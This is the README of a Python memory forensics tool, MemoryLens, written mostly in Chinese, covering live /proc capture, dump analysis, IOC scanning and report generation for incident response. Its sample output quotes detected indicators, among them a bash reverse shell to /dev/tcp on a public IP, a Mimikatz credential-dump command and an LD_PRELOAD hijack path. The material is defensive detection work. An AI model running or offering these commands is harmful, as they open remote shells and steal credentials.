marez8505/MemoryLens

GitHub: marez8505/MemoryLens

一款基于 Python 的 Linux 内存取证工具,支持实时易失性数据捕获和内存转储分析,帮助 DFIR 人员快速提取 IOC 并生成取证报告。

Stars: 0 | Forks: 0

# MemoryLens [![Python](https://img.shields.io/badge/python-3.8%2B-blue.svg)](https://python.org) [![License: MIT](https://img.shields.io/badge/License-MIT-green.svg)](https://opensource.org/licenses/MIT) [![Platform](https://img.shields.io/badge/platform-Linux-lightgrey.svg)](https://kernel.org) [![DFIR](https://img.shields.io/badge/purpose-DFIR-red.svg)](https://en.wikipedia.org/wiki/Computer_forensics) MemoryLens 是一款命令行内存取证分析工具,用于捕获实时系统易失性数据并分析内存转储文件。该工具旨在展示关于 RAM 取证、易失性数据收集和内存工件分析的实际应用知识——这些是数字取证与事件响应(DFIR)专业人员的核心技能。 ## 功能特性 - **实时捕获模式** — 通过 `/proc` 从运行中的 Linux 主机收集易失性系统数据,无需内核模块 - **转储分析模式** — 解析二进制内存转储文件以提取取证工件 - **高级字符串提取** — 带有上下文窗口的 ASCII + UTF-16LE 字符串提取 - **工件分类** — 自动识别 IP、URL、电子邮件、路径、base64 数据块和凭据 - **IOC 扫描** — 将提取的工件与内置威胁情报列表进行匹配 - **熵分析** — 计算每个数据块的 Shannon 熵,以识别加密或加壳的内存区域 - **进程取证** — 检测可疑进程(已删除的可执行文件、`/tmp` 启动器、孤立 PID) - **网络取证** — 解析 `/proc/net/tcp` 和 `/proc/net/udp`,并进行十六进制到 IP 的转换 - **HTML + JSON 报告** — 包含执行摘要和证据哈希值的专业取证报告 - **无需 Root 权限** — 优雅降级;大多数功能以标准用户身份即可运行 - **演示模式** — 内置样本转储生成器,用于离线演示 ## 架构 ``` MemoryLens/ │ ├── memory_lens/ # Core Python package │ ├── main.py # CLI entry point (argparse) │ ├── live_capture.py # /proc-based volatile data collection │ ├── dump_analyzer.py # Binary dump file analysis engine │ ├── string_extractor.py # ASCII/UTF-16LE + regex artifact extraction │ ├── process_analyzer.py # Process enumeration and anomaly detection │ ├── network_analyzer.py # /proc/net parsing, inode→PID resolution │ ├── ioc_scanner.py # IOC matching + risk scoring engine │ ├── report_generator.py # HTML + JSON report generation │ └── utils.py # Shared helpers, logging, hex dump, entropy │ ├── ioc_lists/ # Threat intelligence lists │ ├── suspicious_ports.json # C2 / backdoor port numbers with severity │ └── suspicious_strings.json # Malware strings, PS obfuscation, cred dumpers │ ├── sample_dumps/ │ ├── generate_sample.py # Synthetic memory dump generator │ └── sample_memory.bin # Pre-generated sample (run generator to create) │ └── tests/ # Unit test suite ├── test_string_extractor.py ├── test_ioc_scanner.py └── test_network_analyzer.py ``` **数据流:** ``` Live System Dump File │ │ ▼ ▼ live_capture.py dump_analyzer.py │ (reads /proc) │ (streams binary) │ │ ▼ ▼ Capture JSON ◄──────────────────► ExtractionResult │ string_extractor.py process_analyzer.py network_analyzer.py │ ▼ ioc_scanner.py (risk scoring) │ ▼ report_generator.py (HTML + JSON output) ``` ## 安装 ``` # 克隆仓库 git clone https://github.com/yourusername/MemoryLens.git cd MemoryLens # (推荐)创建 virtual environment python3 -m venv venv source venv/bin/activate # 安装依赖 pip install -r requirements.txt # 或作为 package 安装 pip install -e . ``` ## 使用说明 ### 实时易失性数据捕获 捕获运行中系统的易失性状态(进程、连接、模块、ARP 等): ``` python -m memory_lens capture --output ./captures/ ``` **选项:** | 标志 | 描述 | |------|-------------| | `--output DIR` | 输出目录(默认:`./captures`) | | `--no-env` | 跳过环境变量收集 | | `--no-files` | 跳过打开文件枚举 | | `--report` | 捕获后自动生成 HTML 报告 | ### 分析内存转储文件 从二进制转储中提取所有取证工件: ``` python -m memory_lens analyze --dump ./memory.raw --output ./analysis/ ``` **选项:** | 标志 | 描述 | |------|-------------| | `--dump FILE` | 转储 / 二进制文件的路径(必填) | | `--output DIR` | 输出目录(默认:`./analysis`) | | `--min-length N` | 最小字符串长度(默认:6) | | `--ioc-dir DIR` | 自定义 IOC 列表目录 | | `--no-report` | 跳过 HTML 报告生成 | ### 从二进制文件中提取字符串 ``` python -m memory_lens strings --file ./memory.raw --min-length 6 --show-ips --show-urls ``` ### 扫描捕获结果中的 IOC ``` python -m memory_lens ioc-scan --input ./captures/capture_20240101T120000Z.json ``` ### 生成 HTML 或 JSON 报告 ``` # 从 capture file python -m memory_lens report --input ./captures/capture_20240101T120000Z.json --format html # 从 dump 分析 JSON python -m memory_lens report --input ./analysis/dump_analysis.json --format html ``` ### 演示模式 在生成的合成内存转储上运行完整的分析流程: ``` python -m memory_lens demo ``` 这将生成一个样本转储(如果尚未存在),运行完整分析,并在 `./demo_output/` 中生成 HTML 和 JSON 报告。 ## 输出示例 ``` MemoryLens — Memory Forensics Analysis Tool v1.0.0 DFIR / Volatile Data Collection & Analysis ────────────────────────────────────────────────────────────── MEMORY DUMP ANALYSIS REPORT ────────────────────────────────────────────────────────────── File: sample_memory.bin Size: 2.1 MB SHA-256: a3f5b2c1d8e0f4... Analyzed: 2024-01-01T12:00:00+00:00 RISK ASSESSMENT Score: 85/100 Level: CRITICAL STRING ARTIFACTS Total strings: 847 IP addresses: 12 URLs: 18 Email addresses: 5 File paths: 23 Base64 blobs: 3 Credentials: 8 ENTROPY MAP Total chunks: 534 High-entropy: 3 (0.6%) IOC FINDINGS [CRITICAL] Known credential dump tool: sekurlsa::logonpasswords [CRITICAL] Known malware family string: WannaCry [CRITICAL] Reverse shell command: bash -i >& /dev/tcp/185.220.101.45/9001 [CRITICAL] Base64-encoded PowerShell command detected [HIGH ] Suspicious URL: http://185.220.101.45/gate.php [HIGH ] LD_PRELOAD hijacking: LD_PRELOAD=/tmp/.lib.so [HIGH ] PowerShell obfuscation: -EncodedCommand ``` ## 内存取证概念 ### 易失性与非易失性数据 **易失性数据** 仅在系统通电时存在。当系统关机、重启或断电时,这些数据将会丢失: - 正在运行的进程及其内存空间 - 网络连接(TCP/UDP 状态表) - 已加载的内核模块 - RAM 中的加密密钥和解密后的机密信息 - 缓存在内存中的用户凭据 - 剪贴板内容 **非易失性数据** 在断电重启后依然存在: - 磁盘上的文件(HDD、SSD、USB) - 写入磁盘的系统日志 - 注册表配置单元 - 已安装的软件 ### 为什么 RAM 取证很重要 现代恶意软件越来越多地在内存中运行,以避免在磁盘上留下痕迹(即*无文件恶意软件*): - **Cobalt Strike** 及类似的 C2 框架直接将 shellcode 注入到正在运行的进程中 - **Mimikatz** 从 `lsass.exe` 内存中提取 Windows 凭据哈希 - **WannaCry** 及勒索软件在运行时于 RAM 中解密其 payload - **Rootkit** 通过修改内存中的内核数据结构来躲避基于磁盘的取证 仅靠磁盘镜像通常不足以应对事件响应——RAM 取证可以揭示被入侵系统的*实际运行状态*。 ### 易失性顺序 根据 RFC 3227,应按照从最易失到最不易失的顺序收集证据: ``` 1. CPU registers and cache 2. Routing table, ARP cache, process table, kernel statistics ← MemoryLens captures these 3. Memory (RAM) ← MemoryLens analyzes these 4. Temporary file systems 5. Hard disk 6. Remote logging and monitoring data 7. Physical configuration, network topology 8. Archival media ``` MemoryLens 的目标是收集顺序中**第 2 和第 3 项**的数据——这些是具有最高取证价值且对时间最敏感的数据。 ## 应用场景 ### 事件响应 在发生实时安全事件时,在隔离可疑主机**之前**,在其上运行 `memory_lens capture`。该捕获操作能保存在网络隔离后会消失的网络连接、正在运行的进程状态以及可能揭示攻击链的已加载模块。 ### 恶意软件分析 将来自恶意软件沙箱的内存转储提供给 `memory_lens analyze`。该工具将从转储中提取 C2 IP 地址和 URL,识别编码后的 payload,并标记已知的恶意软件家族字符串——其速度通常快于手动进行十六进制分析。 ### 内部威胁检测 在 DLP(数据防泄漏)调查期间对工作站使用实时捕获。异常的网络连接、从临时目录运行的进程或加载到内存中的凭据都可能表明存在数据外泄活动。 ### CTF / 数字取证挑战 在 CTF 内存转储挑战赛中,MemoryLens 可与 Volatility 配合使用,无需编写自定义脚本即可快速识别工件和字符串模式。 ## 运行测试 ``` # 从 MemoryLens 目录: python -m pytest tests/ -v # 运行单个测试文件: python -m pytest tests/test_string_extractor.py -v python -m pytest tests/test_ioc_scanner.py -v python -m pytest tests/test_network_analyzer.py -v # 附带 coverage 报告: pip install pytest-cov python -m pytest tests/ --cov=memory_lens --cov-report=term-missing ``` ## 更新 IOC 列表 IOC 列表位于 `ioc_lists/` 目录中。请参阅 [`ioc_lists/README.md`](ioc_lists/README.md) 了解 JSON 格式说明,以及有关从 [Emerging Threats](https://rules.emergingthreats.net/) 和 [abuse.ch](https://abuse.ch/) 等社区来源添加新指标的详细指示。 ## 免责声明 MemoryLens 仅用于**授权的安全测试、数字取证和教学目的**。在您不拥有或未获得明确授权的系统上未经许可使用此工具,可能会触犯计算机犯罪法律。在捕获或分析系统内存之前,请务必获得适当的授权。 ## 参与贡献 1. Fork 本仓库 2. 创建功能分支:`git checkout -b feature/your-feature` 3. 为新功能编写测试 4. 确保所有测试通过:`python -m pytest tests/` 5. 提交包含清晰描述的 Pull Request ## 许可证 MIT 许可证 — 详情请参阅 [LICENSE](LICENSE)。
标签:Beacon Object File, DAST, HTTP工具, IOC扫描, IP 地址批量处理, JARM, Python, SecList, 二进制分析, 二进制发布, 云安全运维, 内存分析, 内存取证, 内存捕获, 凭证提取, 后渗透, 威胁情报, 字符串提取, 安全规则引擎, 库, 应急响应, 开发者工具, 开源工具, 恶意软件分析, 数字取证, 数据捕获, 无后门, 无线安全, 熵分析, 电子取证, 网络安全审计, 自动化脚本, 进程取证